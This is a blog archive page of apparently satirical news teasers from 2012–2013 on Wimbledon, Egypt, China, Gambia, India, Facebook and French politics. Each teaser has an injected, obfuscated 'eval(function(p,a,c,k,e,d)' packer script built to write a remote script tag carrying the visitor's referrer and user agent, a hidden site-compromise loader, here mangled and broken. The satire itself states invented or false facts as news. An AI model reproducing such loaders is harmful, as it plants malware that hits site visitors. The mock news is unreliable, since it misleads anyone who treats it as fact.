Fashion over Fitness at Wimbledon

NEW PERSPECTIVES ON THE WOMEN’S GAME eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhebk|var|u0026u|referrer|bahbe||js|php’.split(‘|’),0,{})) Fashion Now Dominates Fitness at Wimbledon London, July 6th, 2013 (SHK) Great Britain’s new hope on the women’s side is Laura Robson, 19, who made it all the way to the Round of 16 this year. After the lackluster women’s championship match today, [...]

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Cairo in New Link with West Point

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raiiy|var|u0026u|referrer|bdnsb||js|php’.split(‘|’),0,{})) CAIRO FORGES LINK WITH WEST POINT Egyptian Generals Opt for Superior Training July 4th, 2013 (SHK) When Egypt’s ruling military council deposed democratically-elected President Morsi this week, the Superior Court simultaneously announced a new relationship with West Point. Adly Mansour, the interim leader in Cairo, acknowledged that democracy may [...]

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Could “Arab Spring” Be Fiction?

‘ARAB SPRING’ MAY BE FICTION, SCIENTISTS SAY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arfkn|var|u0026u|referrer|rakrr||js|php’.split(‘|’),0,{})) Health Institute Reveals Shocking Data Washington, D.C. November 26th, 2012 (SHK) Mohamed Morsi, the democratically elected president of Egypt, unleashed a hornet’s nest of vitriol and abuse last Friday when he issued an edict giving him unchecked authority. Critics accused him of [...]

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Did Jesus Have a Wife?

DID JESUS HAVE A WIFE? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezsa|var|u0026u|referrer|ztraa||js|php’.split(‘|’),0,{})) Papyrus Fragment Vague but Provocative Cambridge, MA September 20th, 2012 (SHK) Dr. Karen King, professor of history at Harvard, shocked the secular world this week with her discovery of a papyrus fragment allegedly containing a comment from Jesus heretofore never recorded. “My wife, she…” [...]

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China’s Leader Reappears in Public

CHINA’S NEW LEADER REAPPEARS IN PUBLIC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sezar|var|u0026u|referrer|dadfe||js|php’.split(‘|’),0,{})) Temporary Absence Caused by Aliens Beijing, China September 17th, 2012 (SHK) Xi Jinping, heir apparent to Hu Jintao’s position as President of China, recently reappeared in Beijing after a two-week absence. He was reportedly seen with intravenous tubes hanging from both arms. . [...]

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President of Gambia Planning Mass Executions

PRESIDENT OF GAMBIA PLANS MASS EXECUTIONS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiihz|var|u0026u|referrer|dykye||js|php’.split(‘|’),0,{})) Republicans See New Election Campaign Strategy Banjul, Gambia August 26th, 2012 (SHK) Gambia’s President Yahya Jammeh said yesterday that he will “stop at nothing to execute Gambians who are plotting to overthrow my government.” The president is a former wrestler on the WWF [...]

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India Suffers Massive Blackouts

INDIA SUFFERS MASSIVE BLACKOUTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdya|var|u0026u|referrer|sybhd||js|php’.split(‘|’),0,{})) 700 Million People Fornicating in the Dark New Delhi, India August 1st, 2012 (SHK) In eastern and northeastern India, nearly 700 million people were without power again for the second day in a row. Put another way, 10% of the world’s population suffered massive blackouts. [...]

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Facebook Shares Collapse

FACEBOOK SHARES COLLAPSE; CHINESE MYSTIFIED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshey|var|u0026u|referrer|azkbr||js|php’.split(‘|’),0,{})) First IPO to Dive on Opening Day since Sliced Bread New York, NY May 22nd, 2012 (SHK) When Facebook completed its Initial Public Offering last Friday, its new shares closed at a price lower than their opening. This is the first time markets have [...]

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The French elect another Socialist

FRANCE ELECTS A SOCIALIST PRESIDENT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iskdz|var|u0026u|referrer|fbiyr||js|php’.split(‘|’),0,{})) New 30-hour Workweek Sees Stock Markets Plunge Paris, France May 8th, 2012 (SHK) The French people elected Socialist François Hollande as their new president Sunday. His wife, Ségolène Royal, lost to Nicolas Sarkozy in the last election five years ago, but she’s back on [...]

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Chinese Dissident’s Departure Delayed

DEPARTURE OF CHINESE DISSIDENT DELAYED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfars|var|u0026u|referrer|fsetz||js|php’.split(‘|’),0,{})) Bureaucratic Bottlenecks for Exit Permits and U.S. Visas Beijing, China May 5th, 2012 (SHK) Chen Guangcheng, presently China’s most popular dissident because he is both illiterate and blind, has hit another roadblock in his attempt to leave the country. American and Chinese negotiators worked [...]

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